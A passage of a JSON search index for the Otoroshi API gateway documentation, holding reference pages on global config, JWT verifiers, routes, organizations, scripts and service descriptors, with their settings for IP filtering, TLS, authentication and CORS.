`Capture requests`: capture http requests in the `.gor` file\n* `Capture responses`: capture http responses in the `.gor` file\n\n## Console \n\nNothing to add. The events will be write on the standard output.\n\n## Custom \n\nThis type of exporter let you the possibility to write your own exporter with your own rules. To create an exporter, we need to navigate to the plugins page, and to create a new item of type exporter.\n\nWhen it's done, the exporter will be visible in this list.\n\n* `Exporter config.`: the configuration of the custom exporter.\n\n## Metrics \n\nThis plugin is useful to rewrite the metric labels exposed on the `/metrics` endpoint.\n\n* `Labels`: list of metric labels. Each pair contains an existing field name and the new name." + }, + { + "name": "global-config.md", + "id": "/entities/global-config.md", + "url": "/entities/global-config.html", + "title": "Global config", + "content": "# Global config\n\nThe global config, named `Danger zone` in Otoroshi, is the place to configure Otoroshi globally. \n\n> Warning: In this page, the configuration is really sensitive and affects the global behaviour of Otoroshi.\n\n\n### Misc. Settings\n\n\n* `Maintenance mode` : It passes every single service in maintenance mode. If a user calls a service, the maintenance page will be displayed\n* `No OAuth login for BackOffice` : Forces admins to login only with user/password or user/password/u2F device\n* `API Read Only`: Freeze Otoroshi datastore in read only mode. Only people with access to the actual underlying datastore will be able to disable this.\n* `Auto link default` : When no group is specified on a service, it will be assigned to default one\n* `Use circuit breakers` : Use circuit breaker on all services\n* `Use new http client as the default Http client` : All http calls will use the new http client by default\n* `Enable live metrics` : Enable live metrics in the Otoroshi cluster. Performs a lot of writes in the datastore\n* `Digitus medius` : Use middle finger emoji as a response character for endless HTTP responses (see [IP address filtering settings](#ip-address-filtering-settings)).\n* `Limit conc. req.` : Limit the number of concurrent request processed by Otoroshi to a certain amount. Highly recommended for resilience\n* `Use X-Forwarded-* headers for routing` : When evaluating routing of a request, X-Forwarded-* headers will be used if presents\n* `Max conc. req.` : Maximum number of concurrent requests processed by otoroshi.\n* `Max HTTP/1.0 resp. size` : Maximum size of an HTTP/1.0 response in bytes. After this limit, response will be cut and sent as is. The best value here should satisfy (maxConcurrentRequests * maxHttp10ResponseSize) < process.memory for worst case scenario.\n* `Max local events` : Maximum number of events stored.\n* `Lines` : *deprecated* \n\n### IP address filtering settings\n\n* `IP allowed list`: Only IP addresses that will be able to access Otoroshi exposed services\n* `IP blocklist`: IP addresses that will be refused to access Otoroshi exposed services\n* `Endless HTTP Responses`: IP addresses for which each request will return around 128 Gb of 0s\n\n\n### Quotas settings\n\n* `Global throttling`: The max. number of requests allowed per second globally on Otoroshi\n* `Throttling per IP`: The max. number of requests allowed per second per IP address globally on Otoroshi\n\n### Analytics: Elastic dashboard datasource (read)\n\n* `Cluster URI`: Elastic cluster URI\n* `Index`: Elastic index \n* `Type`: Event type (not needed for elasticsearch above 6.x)\n* `User`: Elastic User (optional)\n* `Password`: Elastic password (optional)\n* `Version`: Elastic version (optional, if none provided it will be fetched from cluster)\n* `Apply template`: Automatically apply index template\n* `Check Connection`: Button to test the configuration. It will displayed a modal with a connection checklist, if connection is successfull, it will display the found version of the Elasticsearch and the index used\n* `Manually apply index template`: try to put the elasticsearch template by calling the api of elasticsearch\n* `Show index template`: try to retrieve the current index template present in elasticsearch\n* `Client side temporal indexes handling`: When enabled, Otoroshi will manage the creation of indexes over time. When it's disabled, Otoroshi will push in the same index\n* `One index per`: When the previous field is enabled, you can choose the interval of time between the creation of a new index in elasticsearch \n* `Custom TLS Settings`: Enable the TLS configuration for the communication with Elasticsearch\n* `TLS loose`: if enabled, will block all untrustful ssl configs\n* `TrustAll`: allows any server certificates even the self-signed ones\n* `Client certificates`: list of client certificates used to communicate with elasticsearch\n* `Trusted certificates`: list of trusted certificates received from elasticsearch\n\n\n### Statsd settings\n\n* `Datadog agent`: The StatsD agent is a Datadog agent\n* `StatsD agent host`: The host on which StatsD agent is listening\n* `StatsD agent port`: The port on which StatsD agent is listening (default is 8125)\n\n\n### Backoffice auth. settings\n\n* `Backoffice auth. config`: the authentication module used in front of Otoroshi. It will be used to connect to Otoroshi on the login page\n\n### Let's encrypt settings\n\n* `Enabled`: when enabled, Otoroshi will have the possiblity to sign certificate from let's encrypt notably in the SSL/TSL Certificates page \n* `Server URL`: ACME endpoint of let's encrypt \n* `Email addresses`: (optional) list of addresses used to order the certificates \n* `Contact URLs`: (optional) list of addresses used to order the certificates \n* `Public Key`: used to ask a certificate to let's encrypt, generated by Otoroshi \n* `Private Key`: used to ask a certificate to let's encrypt, generated by Otoroshi \n\n\n### CleverCloud settings\n\nOnce configured, you can register one clever cloud app of your organization directly as an Otoroshi service.\n\n* `CleverCloud consumer key`: consumer key of your clever cloud OAuth 1.0 app\n* `CleverCloud consumer secret`: consumer secret of your clever cloud OAuth 1.0 app\n* `OAuth Token`: oauth token of your clever cloud OAuth 1.0 app\n* `OAuth Secret`: oauth token secret of your clever cloud OAuth 1.0 app \n* `CleverCloud orga. Id`: id of your clever cloud organization\n\n### Global scripts\n\nGlobal scripts will be deprecated soon, please use global plugins instead (see the next section)!\n\n### Global plugins\n\n* `Enabled`: enable the use of global plugins\n* `Plugins on new Otoroshi engine`: list of plugins used by the new Otoroshi engine\n* `Plugins on old Otoroshi engine`: list of plugins used by the old Otoroshi engine\n* `Plugin configuration`: the overloaded configuration of plugins\n\n### Proxies\n\nIn this section, you can add a list of proxies for :\n\n* Proxy for alert emails (mailgun)\n* Proxy for alert webhooks\n* Proxy for Clever-Cloud API access\n* Proxy for services access\n* Proxy for auth. access (OAuth, OIDC)\n* Proxy for client validators\n* Proxy for JWKS access\n* Proxy for elastic access\n\nEach proxy has the following fields \n\n* `Proxy host`: host of proxy\n* `Proxy port`: port of proxy\n* `Proxy principal`: user of proxy\n* `Proxy password`: password of proxy\n* `Non proxy host`: IP address that can access the service\n\n### Quotas alerting settings\n\n* `Enable quotas exceeding alerts`: When apikey quotas is almost exceeded, an alert will be sent \n* `Daily quotas threshold`: The percentage of daily calls before sending alerts\n* `Monthly quotas threshold`: The percentage of monthly calls before sending alerts\n\n### User-Agent extraction settings\n\n* `User-Agent extraction`: Allow user-agent details extraction. Can have impact on consumed memory. \n\n### Geolocation extraction settings\n\nExtract a geolocation for each call to Otoroshi.\n\n### Tls Settings\n\n* `Use random cert.`: Use the first available cert when none matches the current domain\n* `Default domain`: When the SNI domain cannot be found, this one will be used to find the matching certificate \n* `Trust JDK CAs (server)`: Trust JDK CAs. The CAs from the JDK CA bundle will be proposed in the certificate request when performing TLS handshake \n* `Trust JDK CAs (trust)`: Trust JDK CAs. The CAs from the JDK CA bundle will be used as trusted CAs when calling HTTPS resources \n* `Trusted CAs (server)`: Select the trusted CAs you want for TLS terminaison. Those CAs only will be proposed in the certificate request when performing TLS handshake \n\n\n### Auto Generate Certificates\n\n* `Enabled`: Generate certificates on the fly when they don't exist\n* `Reply Nicely`: When receiving request from a not allowed domain name, accept connection and display a nice error message \n* `CA`: certificate CA used to generate missing certificate\n* `Allowed domains`: Allowed domains\n* `Not allowed domains`: Not allowed domains\n \n\n### Global metadata\n\n* `Tags`: tags attached to the global config\n* `Metadata`: metadata attached to the global config\n\n### Actions at the bottom of the page\n\n* `Recover from a full export file`: Load global configuration from a previous export\n* `Full export`: Export with all created entities\n* `Full export (ndjson)`: Export your full state of database to ndjson format\n* `JSON`: Get the global config at JSON format \n* `YAML`: Get the global config at YAML format \n* `Enable Panic Mode`: Log out all users from UI and prevent any changes to the database by setting the admin Otoroshi api to read-only. The only way to exit of this mode is to disable this mode directly in the database. " + }, + { + "name": "index.md", + "id": "/entities/index.md", + "url": "/entities/index.html", + "title": "", + "content": "\n# Main entities\n\nIn this section, we will pass through all the main Otoroshi entities. Otoroshi entities are the main items stored in otoroshi datastore that will be used to configure routing, authentication, etc.\n\nAny entity has the following properties\n\n* **location** or **\\_loc**: the location of the entity (organization and team)\n* **id**: the id of the entity (except for apikeys)\n* **name**: the name of the entity\n* **description**: the description of the entity (optional)\n* **tags**: free tags that you can put on any entity to help you manage it, automate it, etc.\n* **metadata**: free key/value tuples that you can put on any entity to help you manage it, automate it, etc.\n\n@@@div { .entities }\n\n
\nRoutes\nProxy your applications with routes\n
\n@ref:[View](./routes.md)\n@@@\n\n@@@div { .entities }\n\n
\nBackends\nReuse route targets\n
\n@ref:[View](./backends.md)\n@@@\n\n@@@div { .entities }\n\n
\nApikeys\nAdd security to your services using apikeys\n
\n@ref:[View](./apikeys.md)\n@@@\n\n\n@@@div { .entities }\n\n
\nOrganizations\nThis the most high level for grouping resources.\n
\n@ref:[View](./organizations.md)\n@@@\n\n@@@div { .entities }\n\n
\nTeams\nOrganize your resources by teams\n
\n@ref:[View](./teams.md)\n@@@\n\n@@@div { .entities }\n\n
\nService groups\nGroup your services\n
\n@ref:[View](./service-groups.md)\n@@@\n\n@@@div { .entities }\n\n
\nJWT verifiers\nVerify and forge token by services.\n
\n@ref:[View](./jwt-verifiers.md)\n@@@\n\n@@@div { .entities }\n\n
\nGlobal Config\nThe danger zone of Otoroshi\n
\n@ref:[View](./global-config.md)\n@@@\n\n@@@div { .entities }\n\n
\nTCP services\n\n
\n@ref:[View](./tcp-services.md)\n@@@\n\n@@@div { .entities }\n\n
\nAuth. modules\nSecure the Otoroshi UI and your web apps\n
\n@ref:[View](./auth-modules.md)\n@@@\n\n@@@div { .entities }\n\n
\nCertificates\nAdd secure communication between Otoroshi, clients and services\n
\n@ref:[View](./certificates.md)\n@@@\n\n@@@div { .entities }\n\n
\nData exporters\nExport alerts, events ands logs\n
\n@ref:[View](./data-exporters.md)\n@@@\n\n@@@div { .entities }\n\n
\nScripts\n\n
\n@ref:[View](./scripts.md)\n@@@\n\n@@@div { .entities }\n\n
\nService descriptors\nProxy your applications with service descriptors\n
\n@ref:[View](./service-descriptors.md)\n@@@\n\n@@@ index\n\n* [Routes](./routes.md)\n* [Backends](./backends.md)\n* [Organizations](./organizations.md)\n* [Teams](./teams.md)\n* [Global Config](./global-config.md)\n* [Apikeys](./apikeys.md)\n* [Service groups](./service-groups.md)\n* [Auth. modules](./auth-modules.md)\n* [Certificates](./certificates.md)\n* [JWT verifiers](./jwt-verifiers.md)\n* [Data exporters](./data-exporters.md)\n* [Scripts](./scripts.md)\n* [TCP services](./tcp-services.md)\n* [Service descriptors](./service-descriptors.md)\n\n@@@\n" + }, + { + "name": "jwt-verifiers.md", + "id": "/entities/jwt-verifiers.md", + "url": "/entities/jwt-verifiers.html", + "title": "JWT verifiers", + "content": "# JWT verifiers\n\nSometimes, it can be pretty useful to verify Jwt tokens coming from other provider on some services. Otoroshi provides a tool to do that per service.\n\n* `Name`: name of the JWT verifier\n* `Description`: a simple description\n* `Strict`: if not strict, request without JWT token will be allowed to pass. This option is helpful when you want to force the presence of tokens in each request on a specific service \n* `Tags`: list of tags associated to the module\n* `Metadata`: list of metadata associated to the module\n\nEach JWT verifier is configurable in three steps : the `location` where find the token in incoming requests, the `validation` step to check the signature and the presence of claims in tokens, and the last step, named `Strategy`.\n\n## Token location\n\nAn incoming token can be found in three places.\n\n#### In query string\n\n* `Source`: JWT token location in query string\n* `Query param name`: the name of the query param where JWT is located\n\n#### In a header\n\n* `Source`: JWT token location in a header\n* `Header name`: the name of the header where JWT is located\n* `Remove value`: when the token is read, this value will be remove of header value (example: if the header value is *Bearer xxxx*, the *remove value* could be Bearer  don't forget the space at the end of the string)\n\n#### In a cookie\n\n* `Source`: JWT token location in a cookie\n* `Cookie name`: the name of the cookie where JWT is located\n\n## Token validation\n\nThis section is used to verify the extracted token from specified location.\n\n* `Algo.`: What kind of algorithm you want to use to verify/sign your JWT token with\n\nAccording to the selected algorithm, the validation form will change.\n\n#### Hmac + SHA\n* `SHA Size`: Word size for the SHA-2 hash function used\n* `Hmac secret`: used to verify the token\n* `Base64 encoded secret`: if enabled, the extracted token will be base64 decoded before it is verifier\n\n#### RSASSA-PKCS1 + SHA\n* `SHA Size`: Word size for the SHA-2 hash function used\n* `Public key`: the RSA public key\n* `Private key`: the RSA private key that can be empty if not used for JWT token signing\n\n#### ECDSA + SHA\n* `SHA Size`: Word size for the SHA-2 hash function used\n* `Public key`: the ECDSA public key\n* `Private key`: the ECDSA private key that can be empty if not used for JWT token signing\n\n#### RSASSA-PKCS1 + SHA from KeyPair\n* `SHA Size`: Word size for the SHA-2 hash function used\n* `KeyPair`: used to sign/verify token. The displayed list represents the key pair registered in the Certificates page\n \n#### ECDSA + SHA from KeyPair\n* `SHA Size`: Word size for the SHA-2 hash function used\n* `KeyPair`: used to sign/verify token. The displayed list represents the key pair registered in the Certificates page\n\n#### Otoroshi KeyPair from token kid (only for verification)\n* `Use only exposed keypairs`: if enabled, Otoroshi will only use the key pairs that are exposed on the well-known. If disabled, it will search on any registered key pairs.\n\n#### JWK Set (only for verification)\n\n* `URL`: the JWK set URL where the public keys are exposed\n* `HTTP call timeout`: timeout for fetching the keyset\n* `TTL`: cache TTL for the keyset\n* `HTTP Headers`: the HTTP headers passed\n* `Key type`: type of the key searched in the jwks\n\n*TLS settings for JWKS fetching*\n\n* `Custom TLS Settings`: TLS settings for JWKS fetching\n* `TLS loose`: if enabled, will block all untrustful ssl configs\n* `Trust all`: allows any server certificates even the self-signed ones\n* `Client certificates`: list of client certificates used to communicate with JWKS server\n* `Trusted certificates`: list of trusted certificates received from JWKS server\n\n*Proxy*\n\n* `Proxy host`: host of proxy behind the identify provider\n* `Proxy port`: port of proxy behind the identify provider\n* `Proxy principal`: user of proxy \n* `Proxy password`: password of proxy\n\n## Strategy\n\nThe first step is to select the verifier strategy. Otoroshi supports 4 types of JWT verifiers:\n\n* `Default JWT token` will add a token if no present. \n* `Verify JWT token` will only verifiy token signing and fields values if provided. \n* `Verify and re-sign JWT token` will verify the token and will re-sign the JWT token with the provided algo. settings. \n* `Verify, re-sign and transform JWT token` will verify the token, re-sign and will be able to transform the token.\n\nAll verifiers has the following properties: \n\n* `Verify token fields`: when the JWT token is checked, each field specified here will be verified with the provided value\n* `Verify token array value`: when the JWT token is checked, each field specified here will be verified if the provided value is contained in the array\n\n\n#### Default JWT token\n\n* `Strict`: if token is already present, the call will fail\n* `Default value`: list of claims of the generated token. These fields support raw values or language expressions. See the documentation about @ref:[the expression language](../topics/expression-language.md)\n\n#### Verify JWT token\n\nNo specific values needed. This kind of verifier needs only the two fields `Verify token fields` and `Verify token array value`.\n\n#### Verify and re-sign JWT token\n\nWhen `Verify and re-sign JWT token` is chosen, the `Re-sign settings` appear. All fields of `Re-sign settings` are the same of the `Token validation` section. The only difference is that the values are used to sign the new token and not to validate the token.\n\n\n#### Verify, re-sign and transform JWT token\n\nWhen `Verify, re-sign and transform JWT token` is chosen, the `Re-sign settings` and `Transformation settings` appear.\n\nThe `Re-sign settings` are used to sign the new token and has the same fields than the `Token validation` section.\n\nFor the `Transformation settings` section, the fields are:\n\n* `Token location`: the location where to find/set the JWT token\n* `Header name`: the name of the header where JWT is located\n* `Prepend value`: remove a value inside the header value\n* `Rename token fields`: when the JWT token is transformed, it is possible to change a field name, just specify origin field name and target field name\n* `Set token fields`: when the JWT token is transformed, it is possible to add new field with static values, just specify field name and value\n* `Remove token fields`: when the JWT token is transformed, it is possible to remove fields" + }, + { + "name": "organizations.md", + "id": "/entities/organizations.md", + "url": "/entities/organizations.html", + "title": "Organizations", + "content": "# Organizations\n\nThe resources of Otoroshi are grouped by `Organization`. This the highest level for grouping resources.\n\nAn organization have a unique `id`, a `name` and a `description`. As all Otoroshi resources, an Organization have a list of tags and metadata associated.\n\nFor example, you can use the organizations as a mean of :\n\n* to seperate resources by services or entities in your enterprise\n* to split internal and external usage of the resources (it's useful when you have a list of services deployed in your company and another one deployed by your partners)\n\n@@@ div { .centered-img }\n\n@@@\n\n## Access to the list of organizations\n\nTo visualize and edit the list of organizations, you can navigate to your instance on the `https://otoroshi.xxxxxx/bo/dashboard/organizations` route or click on the cog icon and select the organizations button.\n\nOnce on the page, you can create a new item, edit an existing organization or delete an existing one.\n\n> When an organization is deleted, the resources associated are not deleted. On the other hand, the organization and the team of associated resources are let empty.\n\n## Entities location\n\nAny otoroshi entity has a location property (`_loc` when serialized to json) explaining where and by whom the entity can be seen. \n\nAn entity can be part of one organization (`tenant` in the json document)\n\n```javascript\n{\n \"_loc\": {\n \"tenant\": \"tenant-1\",\n \"teams\": ...\n }\n ...\n}\n```\n\nor all organizations\n\n```javascript\n{\n \"_loc\": {\n \"tenant\": \"*\",\n \"teams\": ...\n }\n ...\n}\n```\n\n" + }, + { + "name": "routes.md", + "id": "/entities/routes.md", + "url": "/entities/routes.html", + "title": "Routes", + "content": "# Routes\n\nA route is an unique routing rule based on hostname, path, method and headers that will execute a bunch of plugins and eventually forward the request to the backend application.\n\n## UI page\n\nYou can find all routes [here](http://otoroshi.oto.tools:8080/bo/dashboard/routes)\n\n## Global Properties\n\n* `location`: the location of the entity\n* `id`: the id of the route\n* `name`: the name of the route\n* `description`: the description of the route\n* `tags`: the tags of the route. can be useful for api automation\n* `metadata`: the metadata of the route. can be useful for api automation. There are a few reserved metadata used by otorshi that can be found @ref[below](./routes.md#reserved-metadata)\n* `enabled`: is the route enabled ? if not, the router will not consider this route\n* `debugFlow`: the debug flag. If enabled, the execution report for this route will contain all input/output values through steps of the proxy engine. For more informations, check the @ref[engine documentation](../topics/engine.md#reporting)\n* `capture`: if enabled, otoroshi will generate events containing the whole content of each request. Use with caution ! For more informations, check the @ref[engine documentation](../topics/engine.md#http-traffic-capture)\n* `exportReporting`: if enabled, execution reports of the proxy engine will be generated for each request. Those reports are exportable using @ref[data exporters](./data-exporters.md) . For more informations, check the @ref[engine documentation](../topics/engine.md#reporting)\n* `groups`: each route is attached to a group. A group can have one or more services/routes. Each API key is linked to groups/routes/services and allow access to every entities in the groups.\n\n### Reserved metadata\n\nsome metadata are reserved for otoroshi usage. Here is the list of reserved metadata\n\n* `otoroshi-core-user-facing`: is this a user facing app for the snow monkey\n* `otoroshi-core-use-akka-http-client`: use the pure akka http client\n* `otoroshi-core-use-netty-http-client`: use the pure netty http client\n* `otoroshi-core-use-akka-http-ws-client`: use the modern websocket client\n* `otoroshi-core-issue-lets-encrypt-certificate`: enabled let's encrypt certificate issue for this route. true or false\n* `otoroshi-core-issue-certificate`: enabled certificate issue for this route. true or false\n* `otoroshi-core-issue-certificate-ca`: the id of the CA cert to generate the certificate for this route\n* `otoroshi-core-openapi-url`: the openapi url for this route\n* `otoroshi-core-env`: the env for this route. here for legacy reasons\n* `otoroshi-deployment-providers`: in the case of relay routing, the providers for this route\n* `otoroshi-deployment-regions`: in the case of relay routing, the network regions for this route\n* `otoroshi-deployment-zones`: in the case of relay routing, the network zone for this route \n* `otoroshi-deployment-dcs`: in the case of relay routing, the datacenter for this route \n* `otoroshi-deployment-racks`: in the case of relay routing, the rack for this route \n\n## Frontend configuration\n\n* `frontend`: the frontend of the route. It's the configuration that will configure how otoroshi router will match this route. A frontend has the following shape. \n\n```javascript\n{\n \"domains\": [ // the matched domains and paths\n \"new-route.oto.tools/path\" // here you can use wildcard in domain and path, also you can use named path params\n ],\n \"strip_path\": true, // is the matched path stripped in the forwarded request\n \"exact\": false, // perform exact matching on path, if not, will be matched on /path*\n \"headers\": {}, // the matched http headers. if none provided, any header will be matched\n \"query\": {}, // the matched http query params. if none provided, any query params will be matched\n \"methods\": [] // the matched http methods. if none provided, any method will be matched\n}\n```\n\nFor more informations about routing, check the @ref[engine documentation](../topics/engine.md#routing)\n\n## Backend configuration\n\n* `backend`: a backend to forward requests to. For more informations, go to the @ref[backend documentation](./backends.md)\n* `backendRef`: a reference to an existing backend id\n\n## Plugins\n\nthe liste of plugins used on this route. Each plugin definition has the following shape:\n\n```javascript\n{\n \"enabled\": false, // is the plugin enabled\n \"debug\": false, // is debug enabled of this specific plugin\n \"plugin\": \"cp:otoroshi.next.plugins.Redirection\", // the id of the plugin\n \"include\": [], // included paths. if none, all paths are included\n \"exclude\": [], // excluded paths. if none, none paths are excluded\n \"config\": { // the configuration of the plugin\n \"code\": 303,\n \"to\": \"https://www.otoroshi.io\"\n },\n \"plugin_index\": { // the position of the plugin. if none provided, otoroshi will use the order in the plugin array\n \"pre_route\": 0\n }\n}\n```\n\nfor more informations about the available plugins, go @ref[here](../plugins/built-in-plugins.md)\n\n\n" + }, + { + "name": "scripts.md", + "id": "/entities/scripts.md", + "url": "/entities/scripts.html", + "title": "Scripts", + "content": "# Scripts\n\nScript are a way to create plugins for otoroshi without deploying them as jar files. With scripts, you just have to store the scala code of your plugins inside the otoroshi datastore and otoroshi will compile and deploy them at startup. You can find all your scripts in the UI at `cog icon / Plugins`. You can find all the documentation about plugins @ref:[here](../plugins/index.md)\n\n@@@ warning\nThe compilation of your plugins can be pretty long and resources consuming. As the compilation happens during otoroshi boot sequence, your instance will be blocked until all plugins have compiled. This behavior can be disabled. If so, the plugins will not work until they have been compiled. Any service using a plugin that is not compiled yet will fail\n@@@\n\nLike any entity, the script has has the following properties\n\n* `id`\n* `plugin name`\n* `plugin description`\n* `tags`\n* `metadata`\n\nAnd you also have\n\n* `type`: the kind of plugin you are building with this script\n* `plugin code`: the code for your plugin\n\n## Compile\n\nYou can use the compile button to check if the code you write in `plugin code` is valid. It will automatically save your script and try to compile. As mentionned earlier, script compilation is quite resource intensive. It will affect your CPU load and your memory consumption. Don't forget to adjust your VM settings accordingly.\n" + }, + { + "name": "service-descriptors.md", + "id": "/entities/service-descriptors.md", + "url": "/entities/service-descriptors.html", + "title": "Service descriptors", + "content": "# Service descriptors\n\nServices or service descriptor, let you declare how to proxy a call from a domain name to another domain name (or multiple domain names). \n\n@@@ div { .centered-img }\n\n@@@\n\nLet’s say you have an API exposed on http://192.168.0.42 and I want to expose it on https://my.api.foo. Otoroshi will proxy all calls to https://my.api.foo and forward them to http://192.168.0.42. While doing that, it will also log everyhting, control accesses, etc.\n\n\n* `Id`: a unique random string to identify your service\n* `Groups`: each service descriptor is attached to a group. A group can have one or more services. Each API key is linked to a group and allow access to every service in the group.\n* `Create a new group`: you can create a new group to host this descriptor\n* `Create dedicated group`: you can create a new group with an auto generated name to host this descriptor\n* `Name`: the name of your service. Only for debug and human readability purposes.\n* `Description`: the description of your service. Only for debug and human readability purposes.\n* `Service enabled`: activate or deactivate your service. Once disabled, users will get an error page saying the service does not exist.\n* `Read only mode`: authorize only GET, HEAD, OPTIONS calls on this service\n* `Maintenance mode`: display a maintainance page when a user try to use the service\n* `Construction mode`: display a construction page when a user try to use the service\n* `Log analytics`: Log analytics events for this service on the servers\n* `Use new http client`: will use Akka Http Client for every request\n* `Detect apikey asap`: If the service is public and you provide an apikey, otoroshi will detect it and validate it. Of course this setting may impact performances because of useless apikey lookups.\n* `Send Otoroshi headers back`: when enabled, Otoroshi will send headers to consumer like request id, client latency, overhead, etc ...\n* `Override Host header`: when enabled, Otoroshi will automatically set the Host header to corresponding target host\n* `Send X-Forwarded-* headers`: when enabled, Otoroshi will send X-Forwarded-* headers to target\n* `Force HTTPS`: will force redirection to `https://` if not present\n* `Allow HTTP/1.0 requests`: will return an error on HTTP/1.0 request\n* `Use new WebSocket client`: will use the new websocket client for every websocket request\n* `TCP/UDP tunneling`: with this setting enabled, otoroshi will not proxy http requests anymore but instead will create a secured tunnel between a cli on your machine and otoroshi to proxy any tcp connection with all otoroshi security features enabled\n\n### Service exposition settings\n\n* `Exposed domain`: the domain used to expose your service. Should follow pattern: `(http|https)://subdomain?.env?.domain.tld?/root?` or regex `(http|https):\\/\\/(.*?)\\.?(.*?)\\.?(.*?)\\.?(.*)\\/?(.*)`\n* `Legacy domain`: use `domain`, `subdomain`, `env` and `matchingRoot` for routing in addition to hosts, or just use hosts.\n* `Strip path`: when matching, strip the matching prefix from the upstream request URL. Defaults to true\n* `Issue Let's Encrypt cert.`: automatically issue and renew let's encrypt certificate based on domain name. Only if Let's Encrypt enabled in global config.\n* `Issue certificate`: automatically issue and renew a certificate based on domain name\n* `Possible hostnames`: all the possible hostnames for your service\n* `Possible matching paths`: all the possible matching paths for your service\n\n### Redirection\n\n* `Redirection enabled`: enabled the redirection. If enabled, a call to that service will redirect to the chosen URL\n* `Http redirection code`: type of redirection used\n* `Redirect to`: URL used to redirect user when the service is called\n\n### Service targets\n\n* `Redirect to local`: if you work locally with Otoroshi, you may want to use that feature to redirect one specific service to a local host. For example, you can relocate https://foo.preprod.bar.com to http://localhost:8080 to make some tests\n* `Load balancing`: the load balancing algorithm used\n* `Targets`: the list of target that Otoroshi will proxy and expose through the subdomain defined before. Otoroshi will do round-robin load balancing between all those targets with circuit breaker mecanism to avoid cascading failures\n* `Targets root`: Otoroshi will append this root to any target choosen. If the specified root is `/api/foo`, then a request to https://yyyyyyy/bar will actually hit https://xxxxxxxxx/api/foo/bar\n\n### URL Patterns\n\n* `Make service a 'public ui'`: add a default pattern as public routes\n* `Make service a 'private api'`: add a default pattern as private routes\n* `Public patterns`: by default, every services are private only and you'll need an API key to access it. However, if you want to expose a public UI, you can define one or more public patterns (regex) to allow access to anybody. For example if you want to allow anybody on any URL, just use `/.*`\n* `Private patterns`: if you define a public pattern that is a little bit too much, you can make some of public URL private again\n\n### Restrictions\n\n* `Enabled`: enable restrictions\n* `Allow last`: Otoroshi will test forbidden and notFound paths before testing allowed paths\n* `Allowed`: allowed paths\n* `Forbidden`: forbidden paths\n* `Not Found`: not found paths\n\n### Otoroshi exchange protocol\n\n* `Enabled`: when enabled, Otoroshi will try to exchange headers with backend service to ensure no one else can use the service from outside.\n* `Send challenge`: when disbaled, Otoroshi will not check if target service respond with sent random value.\n* `Send info. token`: when enabled, Otoroshi add an additional header containing current call informations\n* `Challenge token version`: version the otoroshi exchange protocol challenge. This option will be set to V2 in a near future.\n* `Info. token version`: version the otoroshi exchange protocol info token. This option will be set to Latest in a near future.\n* `Tokens TTL`: the number of seconds for tokens (state and info) lifes\n* `State token header name`: the name of the header containing the state token. If not specified, the value will be taken from the configuration (otoroshi.headers.comm.state)\n* `State token response header name`: the name of the header containing the state response token. If not specified, the value will be taken from the configuration (otoroshi.headers.comm.stateresp)\n* `Info token header name`: the name of the header containing the info token. If not specified, the value will be taken from the configuration (otoroshi.headers.comm.claim)\n* `Excluded patterns`: by default, when security is enabled, everything is secured. But sometimes you need to exlude something, so just add regex to matching path you want to exlude.\n* `Use same algo.`: when enabled, all JWT token in this section will use the same signing algorithm. If `use same algo.` is disabled, three more options will be displayed to select an algorithm for each step of the calls :\n * Otoroshi to backend\n * Backend to otoroshi\n * Info. token\n\n* `Algo.`: What kind of algorithm you want to use to verify/sign your JWT token with\n* `SHA Size`: Word size for the SHA-2 hash function used\n* `Hmac secret`: used to verify the token\n* `Base64 encoded secret`: if enabled, the extracted token will be base64 decoded before it is verifier\n\n### Authentication\n\n* `Enforce user authentication`: when enabled, user will be allowed to use the service (UI) only if they are registered users of the chosen authentication module.\n* `Auth. config`: authentication module used to protect the service\n* `Create a new auth config.`: navigate to the creation of authentication module page\n* `all auth config.`: navigate to the authentication pages\n\n* `Excluded patterns`: by default, when security is enabled, everything is secured. But sometimes you need to exlude something, so just add regex to matching path you want to exlude.\n* `Strict mode`: strict mode enabled\n\n### Api keys constraints\n\n* `From basic auth.`: you can pass the api key in Authorization header (ie. from 'Authorization: Basic xxx' header)\n* `Allow client id only usage`: you can pass the api key using client id only (ie. from Otoroshi-Token header)\n* `From custom headers`: you can pass the api key using custom headers (ie. Otoroshi-Client-Id and Otoroshi-Client-Secret headers)\n* `From JWT token`: you can pass the api key using a JWT token (ie. from 'Authorization: Bearer xxx' header)\n\n#### Basic auth. Api Key\n\n* `Custom header name`: the name of the header to get Authorization\n* `Custom query param name`: the name of the query param to get Authorization\n\n#### Client ID only Api Key\n\n* `Custom header name`: the name of the header to get the client id\n* `Custom query param name`: the name of the query param to get the client id\n\n#### Custom headers Api Key\n\n* `Custom client id header name`: the name of the header to get the client id\n* `Custom client secret header name`: the name of the header to get the client secret\n\n#### JWT Token Api Key\n\n* `Secret signed`: JWT can be signed by apikey secret using HMAC algo.\n* `Keypair signed`: JWT can be signed by an otoroshi managed keypair using RSA/EC algo.\n* `Include Http request attrs.`: if enabled, you have to put the following fields in the JWT token corresponding to the current http call (httpPath, httpVerb, httpHost)\n* `Max accepted token lifetime`: the maximum number of second accepted as token lifespan\n* `Custom header name`: the name of the header to get the jwt token\n* `Custom query param name`: the name of the query param to get the jwt token\n* `Custom cookie name`: the name of the cookie to get the jwt token\n\n### Routing constraints\n\n* `All Tags in` : have all of the following tags\n* `No Tags in` : not have one of the following tags\n* `One Tag in` : have at least one of the following tags\n* `All Meta. in` : have all of the following metadata entries\n* `No Meta. in` : not have one of the following metadata entries\n* `One Meta. in` : have at least one of the following metadata entries\n* `One Meta key in` : have at least one of the following key in metadata\n* `All Meta key in` : have all of the following keys in metadata\n* `No Meta key in` : not have one of the following keys in metadata\n\n### CORS support\n\n* `Enabled`: if enabled, CORS header will be check for each incoming request\n* `Allow credentials`: if enabled, the credentials will be sent. Credentials are cookies, authorization headers, or TLS client certificates.\n* `Allow origin`: if enabled, it will indicates whether the response can be shared with requesting code from the given\n* `Max age`: response header indicates how long the results of a preflight request (that is the information contained in the Access-Control-Allow-Methods and Access-Control-Allow-Headers headers) can be cached.\n* `Expose headers`: response header allows a server to indicate which response headers should be made available to scripts running in the browser, in response to a cross-origin request.\n* `Allow headers`: response header is used in response to a preflight request which includes the Access-Control-Request-Headers to indicate which HTTP headers can be used during the actual request.\n* `Allow methods`: response header specifies one or more methods allowed when accessing a resource in response to a preflight request.\n* `Excluded patterns`: by default, when cors is enabled, everything has cors. But sometimes you need to exlude something, so just add regex to matching path you want to exlude.\n\n#### Related documentations\n\n* @link[Access-Control-Allow-Credentials](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Access-Control-Allow-Credentials) { open=new }\n* 